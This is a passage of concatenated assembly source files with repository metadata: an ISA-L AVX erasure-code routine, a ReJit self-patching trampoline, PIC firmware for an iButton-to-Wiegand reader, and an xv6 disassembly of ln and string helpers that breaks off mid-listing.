vpshufb xtmph1, xgft4_hi, x0 ;Lookup mul table of high nibble
vpshufb xtmpl1, xgft4_lo, xtmpa ;Lookup mul table of low nibble
vpxor xtmph1, xtmph1, xtmpl1 ;GF add high and low partials
vpxor xd1, xd1, xtmph1
XLDR xd2, [dest5+pos] ;reuse xtmpl1. Get next dest vector
XLDR xd3, [dest6+pos] ;reuse xtmph1. Get next dest vector
;dest5
vpshufb xtmph2, xgft5_hi, x0 ;Lookup mul table of high nibble
vpshufb xtmpl2, xgft5_lo, xtmpa ;Lookup mul table of low nibble
vpxor xtmph2, xtmph2, xtmpl2 ;GF add high and low partials
vpxor xd2, xd2, xtmph2
;dest6
vpshufb xtmph3, xgft6_hi, x0 ;Lookup mul table of high nibble
vpshufb xtmpl3, xgft6_lo, xtmpa ;Lookup mul table of low nibble
vpxor xtmph3, xtmph3, xtmpl3 ;GF add high and low partials
vpxor xd3, xd3, xtmph3
XSTR [dest4+pos], xd1 ;Store result into dest4
XSTR [dest5+pos], xd2 ;Store result into dest5
XSTR [dest6+pos], xd3 ;Store result into dest6
add pos, 16 ;Loop on 16 bytes at a time
cmp pos, len
jle .loop16
lea tmp, [len + 16]
cmp pos, tmp
je .return_pass
.lessthan16:
;; Tail len
;; Do one more overlap pass
;; Overlapped offset length-16
mov tmp, len ;Backup len as len=rdi
XLDR x0, [src+tmp] ;Get next source vector
XLDR xd1, [dest4+tmp] ;Get next dest vector
XLDR xd2, [dest5+tmp] ;reuse xtmpl1. Get next dest vector
XLDR xd3, [dest6+tmp] ;reuse xtmph1. Get next dest vector
sub len, pos
vmovdqa xtmph3, [constip16] ;Load const of i + 16
vpinsrb xtmpl3, len.w, 15
vpshufb xtmpl3, xmask0f ;Broadcast len to all bytes
vpcmpgtb xtmpl3, xtmpl3, xtmph3
vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0
;dest4
vpshufb xgft4_hi, xgft4_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft4_lo, xgft4_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft4_hi, xgft4_hi, xgft4_lo ;GF add high and low partials
vpand xgft4_hi, xgft4_hi, xtmpl3
vpxor xd1, xd1, xgft4_hi
;dest5
vpshufb xgft5_hi, xgft5_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft5_lo, xgft5_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft5_hi, xgft5_hi, xgft5_lo ;GF add high and low partials
vpand xgft5_hi, xgft5_hi, xtmpl3
vpxor xd2, xd2, xgft5_hi
;dest6
vpshufb xgft6_hi, xgft6_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft6_lo, xgft6_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft6_hi, xgft6_hi, xgft6_lo ;GF add high and low partials
vpand xgft6_hi, xgft6_hi, xtmpl3
vpxor xd3, xd3, xgft6_hi
XSTR [dest4+tmp], xd1 ;Store result into dest4
XSTR [dest5+tmp], xd2 ;Store result into dest5
XSTR [dest6+tmp], xd3 ;Store result into dest6
vmovdqu xgft4_lo, [tmp3] ;Load array Ax{00}, Ax{01}, Ax{02}, ...
vmovdqu xgft4_hi, [tmp3+16] ; " Ax{00}, Ax{10}, Ax{20}, ... , Ax{f0}
vmovdqu xgft5_lo, [tmp3+vec] ;Load array Bx{00}, Bx{01}, Bx{02}, ...
vmovdqu xgft5_hi, [tmp3+vec+16] ; " Bx{00}, Bx{10}, Bx{20}, ... , Bx{f0}
vmovdqu xgft6_lo, [tmp3+2*vec] ;Load array Cx{00}, Cx{01}, Cx{02}, ...
vmovdqu xgft6_hi, [tmp3+2*vec+16] ; " Cx{00}, Cx{10}, Cx{20}, ... , Cx{f0}
XLDR xd1, [dest1+tmp] ;Get next dest vector
XLDR xd2, [dest2+tmp] ;reuse xtmpl1. Get next dest vector
XLDR xd3, [dest3+tmp] ;reuse xtmph1. Get next dest3 vector
;dest1
vpshufb xgft4_hi, xgft4_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft4_lo, xgft4_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft4_hi, xgft4_hi, xgft4_lo ;GF add high and low partials
vpand xgft4_hi, xgft4_hi, xtmpl3
vpxor xd1, xd1, xgft4_hi
;dest2
vpshufb xgft5_hi, xgft5_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft5_lo, xgft5_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft5_hi, xgft5_hi, xgft5_lo ;GF add high and low partials
vpand xgft5_hi, xgft5_hi, xtmpl3
vpxor xd2, xd2, xgft5_hi
;dest3
vpshufb xgft6_hi, xgft6_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft6_lo, xgft6_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft6_hi, xgft6_hi, xgft6_lo ;GF add high and low partials
vpand xgft6_hi, xgft6_hi, xtmpl3
vpxor xd3, xd3, xgft6_hi
XSTR [dest1+tmp], xd1 ;Store result into dest1
XSTR [dest2+tmp], xd2 ;Store result into dest2
XSTR [dest3+tmp], xd3 ;Store result into dest3
.return_pass:
FUNC_RESTORE
mov return, 0
ret
.return_fail:
FUNC_RESTORE
mov return, 1
ret
endproc_frame
section .data
align 16
mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f
constip16:
dq 0xf8f9fafbfcfdfeff, 0xf0f1f2f3f4f5f6f7
;;; func core, ver, snum
slversion gf_6vect_mad_avx, 02, 01, 0210
| Intel-HLS/GKL | src/main/native/compression/isa-l-master/erasure_code/gf_6vect_mad_avx.asm | Assembly | mit | 11,988 |
BITS 64
[MAP all]
trampoline_param_size EQU 4
trampoline_size EQU 5
jit:
; Push the stuff we need to preserve by ABI
push rbx
; Store the return address in RBX
mov rbx,qword [rsp+08]
push rsi
push rdi
mov rdx,rcx
; Block copy all the LEA insn
lea rsi, [rel start]
lea rdi, [rbx-trampoline_size]
mov rcx, end - start
rep movsb
mov rcx,rbx
sub rcx,rdi
mov al,0x90
rep stosb
; Pop in reverse
pop rdi
pop rsi
sub rbx,trampoline_size
mov qword [rsp+08h],rbx
pop rbx
mov rcx,rdx
ret
start:
btc ecx,edx
setc al
end: | damageboy/ReJit | ReJIT/Intrinsics/btc32.asm | Assembly | mit | 595 |
; File: IBW26.ASM
; iButton reader with 26 bit Wiegand output -
; This code reads an arriving iButton and then presents the compromised
; iButton ID out as Wiegand formatted pulses. Output pulses are low-going,
; 100us wide with 2ms minimum between pulses.
; The clock/crystal frequency is assumed to be nominally 4 MHz +/- 20%.
#Define SiteCode 123 ; We use a fioxed Wiegand site code
; processor 12C508A
processor 16C54A
radix dec
; include 12C508.asm
include 16C54.asm
include picmacs.asm
#Define gpio RB ; Cross-define for PIC 16C54 testing
CBLOCK 8
LoopCounter ; General Purpose Loop Counter
RcvByte ; Working I/O byte
crcl ; CRC-8 Working Accumulator
flags ; Varios boolean flag bits
Delay ; A counter for time delays
RomData0 ; ROM ID as read from arriving iButton device
RomData1 ; and also the Wiegand message workspace
RomData2
RomData3
ENDC
; We re-use the RomData bytes to save RAM -
#Define Wiegand0 RomData3 ; Different names when they become Wiegand buffer
#Define Wiegand1 RomData2
#Define Wiegand2 RomData1
#Define Wiegand3 RomData0
#Define Data0Pin gpio,0 ; Data 0 Line
#Define Data1Pin gpio,1 ; Data 1 Line
#Define GreenLED gpio,3 ; Line that drives GREEN LED (input)
#Define OptDevice gpio,4 ; Auxilliary 1-Wire Device Data Line
#Define iBPin gpio,5 ; iButton Probe Data line
#Define AllHiZ 11111111B ; GPIO TRIS write to make all Hi-Z
#Define Data0 11111110B ; TRIS value to gen pulse on DATA0 line
#Define Data1 11111101B ; TRIS value to gen pulse on DATA1 line
#Define iButton 11011111B ; TRIS value to gen low on iButton data line
#Define EP flags,1 ; Define an Even Parity bit
#Define OP flags,2 ; Define an Odd Parity bit
#Define Presence flags,3 ; Define a presence pulse flag bit
#Define Short flags,3 ; Define a shoted bus flag bit
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
;
;
; iButton Serial Number as read into RomData0-7:
;
; Byte 0 Byte 1 Byte 2 Byte 3 Byte 4 Byte 5 Byte 6 Byte 7
; 01234567 01234567 01234567 01234567 01234567 01234567 01234567 01234567
; <- FC -> <-L------------------------ Serial Number -----------------------M-> <-CRC8->
;
;
; 26-bit Wiegand Format:
;
; Byte 0 Byte 1 Byte 2 Byte 3
; 01234567 01234567 01234567 01XXXXXX
; P0123456 70123456 70123456 7PXXXXXX
; E<----------><---------------------->O
; Site Code Key ID Number
;
; E=Even parity of adjacent 12 bits
; O=Odd parity of adjacent 12 bits
;
org 0
goto Start
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Function: TReset
; Desc: Generate a Touch Reset pulse on the probe and see if there is
; a device present. These timings can be off by +/- 20% and
; remain valid. Crystal/clock frequency can be between 3.33 Mhz and
; 4.8 Mhz and timings remain valid.
; Entry: None
; Exit: Presence flag set if a presence pulse was observed
; Short flag set if line was shorted on entry
; Uses: Delay
TReset:
bsf Short
btfss iBPin ; If we see a presence pulse, then
retlw 0
bcf Short
movlw iButton
tris gpio ; Take 1-Wire bus LOW
movlw 192
movwf Delay
DlyLp5:
nop
decfsz Delay,f ; Delay 580us (480us + 20%)
goto DlyLp5
movlw AllHiZ
tris gpio ; Release the bus
nop
nop
nop
nop ; Allow for rise time
nop
nop
bcf Presence ; Assume no presence pulse will be seen
movlw 145
movwf Delay
PWaitLp:
btfss iBPin ; If we see a presence pulse, then
bsf Presence ; Indicate that it was observed
decfsz Delay,f ; Watch for 580us (480us + 20%)
goto PWaitLp
retlw 0 ; Return
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Function: TBit, TByte, RByte
; Desc: Perform a Standard Speed 1-Wire Touch Bit, Touch Byte,
; or Read Byte function. These timings can be off by +/- 20% and
; remain valid. Crystal/clock frequency can be between 3.33 Mhz and
; 4.8 Mhz and timings remain valid.
; Entry: None for RByte
; RcvByte = Byte to send for TByte
; RcvByte.0 = Bit to send for TBit
; Exit: WREG.7, RcvBit.7 = Received bit for TBit
; WREG, RcvByte = Byte Read for RByte
; WREG, RcvByte = Echo of byte sent for TByte
; Uses: LoopCounter, Delay, RcvByte, WREG
; Timing: Nominal: -20%: +20%:
;
; Write-One/Read Low Time 7 us 5.833 us 8.4 us
; Write-Zero Low Time 72 us 60 us 86.4 us
; Sample time 15 us 12.5 us 18 us
; Recovery time 6 us 5 us 7.2 us
; Overall Time Slot 78 us 65 us 93.6 us
; Date rate 12,820 BPS 15384 BPS 10,683 BPS
; Note: These timings should be extended for long line 1-Wire operations.
TBit:
movlw 1 ; Ask for a loop of only one
goto TBEnt ; Do it like the rest
RByte:
movlw 255 ; For receives, always send 0xFF
movwf RcvByte ; from the RcvByte register
TByte:
movlw 8 ; Normal process 8 bits per byte
TBEnt:
movwf LoopCounter ; Start a processing loop once per bit
TBLp:
nop ; 75 75
nop ; 76 76
movlw iButton ; 77 77
tris gpio ; 00/78 00/78 -> Start Time Slot
btfss RcvByte,0 ; 01 01
goto BIsZero1 ; 02 02
nop ; 03 -
nop ; 04 -
nop ; 05 -
movlw AllHiZ ; 06
tris gpio ; 07 - -> End a read or write one bit
movlw 1 ; 08 -
goto FinBit1 ; 09 -
BIsZero1: ; - -
movlw 3 ; - 03
nop ; - 04
FinBit1: ; - -
movwf Delay ; 10 05
BDLoop11: ; - -
decfsz Delay,f ; 11 06
goto BDLoop11 ; 12 12
bcf C ; 13 13
nop ; 14 14
btfsc iBPin ; 15 15 -> Sample the line
bsf C ; 16 16
rrf RcvByte,1 ; 17 17
movlw 25 ; 18 18
movwf Delay ; 19 19
BDLoop21: ; - -
decfsz Delay,f ; 20 20
goto BDLoop21 ; 21 21
movlw AllHiZ ; 71 71
tris gpio ; 72 72 -> End a write zero bit
decfsz LoopCounter,f ; 73
goto TBLp ; 74
retlw 0
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Function: crc8, crc8first
; Desc: Perform a the 8 bit CRC on the value in WREG on entry.
; Entry: WREG = New byte
; Exit: crcl holds the resulting crc8
; Uses: RcvByte as a working register
; Call crc8first to process the first byte, and crc8 for subsequent bytes.
; Note: This code is a direct translation from 8051 code and can likely be
; optimized.
crc8first:
clrf crcl
crc8:
movwf RcvByte
movf crcl,w
xorwf RcvByte,f
movf RcvByte,w
movwf crcl
movlw 0F0H
andwf crcl,f
swapf RcvByte,f
movf RcvByte,w
xorwf crcl,f
rrf RcvByte,w
rrf RcvByte,f
movf RcvByte,w
xorwf crcl,f
rrf RcvByte,w
rrf RcvByte,f
swapf RcvByte,f
movlw 0C7H
andwf RcvByte,f
movlw 00001000B
btfsc RcvByte,2
xorwf RcvByte,f
movf RcvByte,w
xorwf crcl,f
swapf RcvByte,f
movlw 0CH
andwf RcvByte,f
movf RcvByte,w
xorwf crcl,f
rrf RcvByte,w
rrf RcvByte,f
movf RcvByte,w
xorwf crcl,f
retlw 0
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Start:
movlw 00001111B
option
clrf gpio ; Prepare to make zeros on all GPIO pins
movlw AllHiZ ; Leave Test Pin on Output mode
tris gpio ; Take all I/O pins to Hi-Z
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; The reader loops emitting presence pulses and waiting for an iButton to
; arrive. The iButton is then read for ID number.
Main:
clrwdt
call TReset ; Issue 480 us Touch Reset pulse
btfss Short
goto Main ; Loop in wait if the bus is shorted
btfss Presence
goto Main ; Loop in wait for a presence to be seen
movlw 33H
movwf RcvByte
call TByte ; Perform the Read ROM command byte
call RByte ; Read 8 bytes of iButton serial number
movf RcvByte,w
btfsc Z
goto Main ; Bad read if Family Code = 0
movwf RomData0
call crc8first
call RByte
movf RcvByte,w
movwf RomData1
call crc8
call RByte
movf RcvByte,w
movwf RomData2
call crc8
call RByte
movf RcvByte,w
call crc8
call RByte
movf RcvByte,w
call crc8
call RByte
movf RcvByte,w
call crc8
call RByte
movf RcvByte,w
call crc8
call RByte
movf RcvByte,w
call crc8
clrwdt
; Check the CRC8 of the ROMID. If it's BAD then goto MAIN and try again -
movf crcl,w
btfss Z
goto Main ; Loop back if CRC8 is not good
GotKeyID:
; Map the Rom Data bits to Wiegand bits -
MapBits26:
movlw SiteCode ; Start with the constant site code
movwf Wiegand0
; Compute the Wiegand Parity Bits
; We rotate the entire 24 bit Wiegand register around and count bits -
ComputeParity:
; Count the 12 EP-related bits -
clrf RcvByte ; Use RcvByte as a bit counter
bcf EP ; Assume EP bit is zero
movlw 12 ; We will count 12 bits
movwf LoopCounter
BCLp5:
rlf Wiegand0,w ; Get the LS bit into the carry flag
rlf Wiegand2,f
rlf Wiegand1,f ; Rotate the entire 24 bit Wiegand value right
rlf Wiegand0,f ; so carry is the LS bit
btfsc C ; If the bit is a "1" then
incf RcvByte,f ; Increment the "1" bit counter
decfsz LoopCounter,f
goto BCLp5 ; Loop until 12 bits are counted
btfsc RcvByte,0 ; The Parity is the LS bit of the bit count
bsf EP ; We will need an EP bit if the count was odd
; Count the 12 OP-related bits -
clrf RcvByte ; Use RcvByte as a bit counter
bcf OP ; Assume OP bit is zero
movlw 12 ; We will count 12 bits
movwf LoopCounter
BCLp2:
rlf Wiegand0,w ; Get the LS bit into the carry flag
rlf Wiegand2,f
rlf Wiegand1,f ; Rotate the entire 24 bit Wiegand value right
rlf Wiegand0,f ; so carry is the LS bit
btfsc C
incf RcvByte,f
decfsz LoopCounter,f
goto BCLp2 ; Loop until 12 bits are counted
btfss RcvByte,0 ; The Parity is the LS bit of the bit count
bsf OP ; We will need an OP bit if the count was even
; Insert the parity bits into the Wiegand data -
clrf Wiegand3 ; Assume all upper-bits to be zero
bcf C
btfsc OP ; Set CY to equal OP flag
bsf C
rrf Wiegand3,f ; Insert the Odd Parity bit first
bcf C
btfsc EP
bsf C ; Make carry equal the EP flag
rrf Wiegand0,f
rrf Wiegand1,f ; Add EP bit, rotate all left once
rrf Wiegand2,f
rrf Wiegand3,f ; Now Wiegand 0-3 equal 26 bit message
clrwdt
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Function: WiegandOut
; Desc: Given a site code and a key ID, output the Wiegand bit stream
WiegandOut:
movlw 26 ; Prepare to generate 26 Wiegand pulses
movwf LoopCounter
WBSLoop:
clrwdt
rlf Wiegand3,f
rlf Wiegand2,f
rlf Wiegand1,f
rlf Wiegand0,f
btfsc C
goto GenDataOne
GenDataZero:
movlw Data0
tris gpio ; Take the Data0 line LOW
goto InterBit
GenDataOne:
movlw Data1
tris gpio ; Take the Data1 line LOW
InterBit:
movlw 55 ; 55 Loops = 110 cycles = 110us
movwf Delay
DlyLp1:
decfsz Delay,f
goto DlyLp1
movlw AllHiZ
tris gpio ; Release DATA0 and DATA1 to Hi-Z
movlw 0 ; 256 Loops, 256*8 = 2048 cycles = 2.048 ms
movwf Delay
DlyLp2:
nop
nop
nop
nop
nop
nop
decfsz Delay,f
goto DlyLp2
decfsz LoopCounter,f
goto WBSLoop
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
; Wait for the iButton to be gone -
WaitGone:
clrwdt
movlw 50 ; We will expect 50 Resets without any presence
movwf LoopCounter
WtLp1:
call TReset ; Issue Touch Resets
btfsc Presence ; If presence, start the wait over again
goto WaitGone
decfsz LoopCounter,f ; Keep checking to make sure it is gone
goto WtLp1
goto Main
END
| AriZuu/OneWire | lib/misc_micro/PIC/ibw26.asm | Assembly | mit | 11,652 |
_ln: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 83 e4 f0 and $0xfffffff0,%esp
6: 83 ec 10 sub $0x10,%esp
if(argc != 3){
9: 83 7d 08 03 cmpl $0x3,0x8(%ebp)
d: 74 19 je 28 <main+0x28>
printf(2, "Usage: ln old new\n");
f: c7 44 24 04 2d 08 00 movl $0x82d,0x4(%esp)
16: 00
17: c7 04 24 02 00 00 00 movl $0x2,(%esp)
1e: e8 3e 04 00 00 call 461 <printf>
exit();
23: e8 b9 02 00 00 call 2e1 <exit>
}
if(link(argv[1], argv[2]) < 0)
28: 8b 45 0c mov 0xc(%ebp),%eax
2b: 83 c0 08 add $0x8,%eax
2e: 8b 10 mov (%eax),%edx
30: 8b 45 0c mov 0xc(%ebp),%eax
33: 83 c0 04 add $0x4,%eax
36: 8b 00 mov (%eax),%eax
38: 89 54 24 04 mov %edx,0x4(%esp)
3c: 89 04 24 mov %eax,(%esp)
3f: e8 fd 02 00 00 call 341 <link>
44: 85 c0 test %eax,%eax
46: 79 2c jns 74 <main+0x74>
printf(2, "link %s %s: failed\n", argv[1], argv[2]);
48: 8b 45 0c mov 0xc(%ebp),%eax
4b: 83 c0 08 add $0x8,%eax
4e: 8b 10 mov (%eax),%edx
50: 8b 45 0c mov 0xc(%ebp),%eax
53: 83 c0 04 add $0x4,%eax
56: 8b 00 mov (%eax),%eax
58: 89 54 24 0c mov %edx,0xc(%esp)
5c: 89 44 24 08 mov %eax,0x8(%esp)
60: c7 44 24 04 40 08 00 movl $0x840,0x4(%esp)
67: 00
68: c7 04 24 02 00 00 00 movl $0x2,(%esp)
6f: e8 ed 03 00 00 call 461 <printf>
exit();
74: e8 68 02 00 00 call 2e1 <exit>
00000079 <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
79: 55 push %ebp
7a: 89 e5 mov %esp,%ebp
7c: 57 push %edi
7d: 53 push %ebx
asm volatile("cld; rep stosb" :
7e: 8b 4d 08 mov 0x8(%ebp),%ecx
81: 8b 55 10 mov 0x10(%ebp),%edx
84: 8b 45 0c mov 0xc(%ebp),%eax
87: 89 cb mov %ecx,%ebx
89: 89 df mov %ebx,%edi
8b: 89 d1 mov %edx,%ecx
8d: fc cld
8e: f3 aa rep stos %al,%es:(%edi)
90: 89 ca mov %ecx,%edx
92: 89 fb mov %edi,%ebx
94: 89 5d 08 mov %ebx,0x8(%ebp)
97: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
9a: 5b pop %ebx
9b: 5f pop %edi
9c: 5d pop %ebp
9d: c3 ret
0000009e <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
9e: 55 push %ebp
9f: 89 e5 mov %esp,%ebp
a1: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
a4: 8b 45 08 mov 0x8(%ebp),%eax
a7: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
aa: 90 nop
ab: 8b 45 08 mov 0x8(%ebp),%eax
ae: 8d 50 01 lea 0x1(%eax),%edx
b1: 89 55 08 mov %edx,0x8(%ebp)
b4: 8b 55 0c mov 0xc(%ebp),%edx
b7: 8d 4a 01 lea 0x1(%edx),%ecx
ba: 89 4d 0c mov %ecx,0xc(%ebp)
bd: 0f b6 12 movzbl (%edx),%edx
c0: 88 10 mov %dl,(%eax)
c2: 0f b6 00 movzbl (%eax),%eax
c5: 84 c0 test %al,%al
c7: 75 e2 jne ab <strcpy+0xd>
;
return os;
c9: 8b 45 fc mov -0x4(%ebp),%eax
}
cc: c9 leave
cd: c3 ret
000000ce <strcmp>:
int
strcmp(const char *p, const char *q)
{
ce: 55 push %ebp
cf: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
d1: eb 08 jmp db <strcmp+0xd>
p++, q++;
d3: 83 45 08 01 addl $0x1,0x8(%ebp)
d7: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
db: 8b 45 08 mov 0x8(%ebp),%eax
de: 0f b6 00 movzbl (%eax),%eax
e1: 84 c0 test %al,%al
e3: 74 10 je f5 <strcmp+0x27>
e5: 8b 45 08 mov 0x8(%ebp),%eax
e8: 0f b6 10 movzbl (%eax),%edx
eb: 8b 45 0c mov 0xc(%ebp),%eax
ee: 0f b6 00 movzbl (%eax),%eax
f1: 38 c2 cmp %al,%dl
f3: 74 de je d3 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
f5: 8b 45 08 mov 0x8(%ebp),%eax
f8: 0f b6 00 movzbl (%eax),%eax
fb: 0f b6 d0 movzbl %al,%edx
fe: 8b 45 0c mov 0xc(%ebp),%eax
101: 0f b6 00 movzbl (%eax),%eax
104: 0f b6 c0 movzbl %al,%eax
107: 29 c2 sub %eax,%edx
109: 89 d0 mov %edx,%eax
}
10b: 5d pop %ebp
10c: c3 ret
0000010d <strlen>:
uint
strlen(char *s)
{
10d: 55 push %ebp
10e: 89 e5 mov %esp,%ebp
110: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
113: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
11a: eb 04 jmp 120 <strlen+0x13>
11c: 83 45 fc 01 addl $0x1,-0x4(%ebp)
120: 8b 55 fc mov -0x4(%ebp),%edx
123: 8b 45 08 mov 0x8(%ebp),%eax
126: 01 d0 add %edx,%eax
128: 0f b6 00 movzbl (%eax),%eax
12b: 84 c0 test %al,%al
12d: 75 ed jne 11c <strlen+0xf>
;
return n;
12f: 8b 45 fc mov -0x4(%ebp),%eax
}
132: c9 leave
133: c3 ret
00000134 <memset>:
void*
memset(void *dst, int c, uint n)
{
134: 55 push %ebp
135: 89 e5 mov %esp,%ebp
137: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
13a: 8b 45 10 mov 0x10(%ebp),%eax
13d: 89 44 24 08 mov %eax,0x8(%esp)
141: 8b 45 0c mov 0xc(%ebp),%eax
144: 89 44 24 04 mov %eax,0x4(%esp)
148: 8b 45 08 mov 0x8(%ebp),%eax
14b: 89 04 24 mov %eax,(%esp)
14e: e8 26 ff ff ff call 79 <stosb>
return dst;
153: 8b 45 08 mov 0x8(%ebp),%eax
}
156: c9 leave
157: c3 ret
00000158 <strchr>:
char*
strchr(const char *s, char c)
{
158: 55 push %ebp
159: 89 e5 mov %esp,%ebp
15b: 83 ec 04 sub $0x4,%esp
15e: 8b 45 0c mov 0xc(%ebp),%eax
161: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
164: eb 14 jmp 17a <strchr+0x22>
if(*s == c)
166: 8b 45 08 mov 0x8(%ebp),%eax
169: 0f b6 00 movzbl (%eax),%eax
16c: 3a 45 fc cmp -0x4(%ebp),%al
16f: 75 05 jne 176 <strchr+0x1e>
return (char*)s;
171: 8b 45 08 mov 0x8(%ebp),%eax
174: eb 13 jmp 189 <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
176: 83 45 08 01 addl $0x1,0x8(%ebp)
17a: 8b 45 08 mov 0x8(%ebp),%eax
17d: 0f b6 00 movzbl (%eax),%eax
180: 84 c0 test %al,%al
182: 75 e2 jne 166 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
184: b8 00 00 00 00 mov $0x0,%eax
}
189: c9 leave
18a: c3 ret
0000018b <gets>:
char*
gets(char *buf, int max)
{
18b: 55 push %ebp
18c: 89 e5 mov %esp,%ebp
18e: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
191: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
198: eb 4c jmp 1e6 <gets+0x5b>
cc = read(0, &c, 1);
19a: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
1a1: 00
1a2: 8d 45 ef lea -0x11(%ebp),%eax
1a5: 89 44 24 04 mov %eax,0x4(%esp)
1a9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1b0: e8 44 01 00 00 call 2f9 <read>
1b5: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
1b8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
1bc: 7f 02 jg 1c0 <gets+0x35>
break;
1be: eb 31 jmp 1f1 <gets+0x66>
buf[i++] = c;
1c0: 8b 45 f4 mov -0xc(%ebp),%eax
1c3: 8d 50 01 lea 0x1(%eax),%edx
1c6: 89 55 f4 mov %edx,-0xc(%ebp)
1c9: 89 c2 mov %eax,%edx
1cb: 8b 45 08 mov 0x8(%ebp),%eax
1ce: 01 c2 add %eax,%edx
1d0: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1d4: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1d6: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1da: 3c 0a cmp $0xa,%al
1dc: 74 13 je 1f1 <gets+0x66>
1de: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1e2: 3c 0d cmp $0xd,%al
1e4: 74 0b je 1f1 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1e6: 8b 45 f4 mov -0xc(%ebp),%eax
1e9: 83 c0 01 add $0x1,%eax
1ec: 3b 45 0c cmp 0xc(%ebp),%eax
1ef: 7c a9 jl 19a <gets+0xf>
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1f1: 8b 55 f4 mov -0xc(%ebp),%edx
1f4: 8b 45 08 mov 0x8(%ebp),%eax
1f7: 01 d0 add %edx,%eax
1f9: c6 00 00 movb $0x0,(%eax)
return buf;
1fc: 8b 45 08 mov 0x8(%ebp),%eax
}
1ff: c9 leave
200: c3 ret
00000201 <stat>:
int
stat(char *n, struct stat *st)
{
201: 55 push %ebp
202: 89 e5 mov %esp,%ebp
204: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
207: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
20e: 00
20f: 8b 45 08 mov 0x8(%ebp),%eax
212: 89 04 24 mov %eax,(%esp)
215: e8 07 01 00 00 call 321 <open>
21a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
21d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
221: 79 07 jns 22a <stat+0x29>
return -1;
223: b8 ff ff ff ff mov $0xffffffff,%eax
228: eb 23 jmp 24d <stat+0x4c>
r = fstat(fd, st);
22a: 8b 45 0c mov 0xc(%ebp),%eax
22d: 89 44 24 04 mov %eax,0x4(%esp)
231: 8b 45 f4 mov -0xc(%ebp),%eax
234: 89 04 24 mov %eax,(%esp)
237: e8 fd 00 00 00 call 339 <fstat>
23c: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
23f: 8b 45 f4 mov -0xc(%ebp),%eax
242: 89 04 24 mov %eax,(%esp)
245: e8 bf 00 00 00 call 309 <close>
return r;
24a: 8b 45 f0 mov -0x10(%ebp),%eax
}
24d: c9 leave
24e: c3 ret
0000024f <atoi>:
int
atoi(const char *s)
{
24f: 55 push %ebp
250: 89 e5 mov %esp,%ebp
252: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
255: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
25c: eb 25 jmp 283 <atoi+0x34>
n = n*10 + *s++ - '0';
25e: 8b 55 fc mov -0x4(%ebp),%edx
261: 89 d0 mov %edx,%eax
263: c1 e0 02 shl $0x2,%eax
266: 01 d0 add %edx,%eax
268: 01 c0 add %eax,%eax
26a: 89 c1 mov %eax,%ecx
26c: 8b 45 08 mov 0x8(%ebp),%eax
26f: 8d 50 01 lea 0x1(%eax),%edx
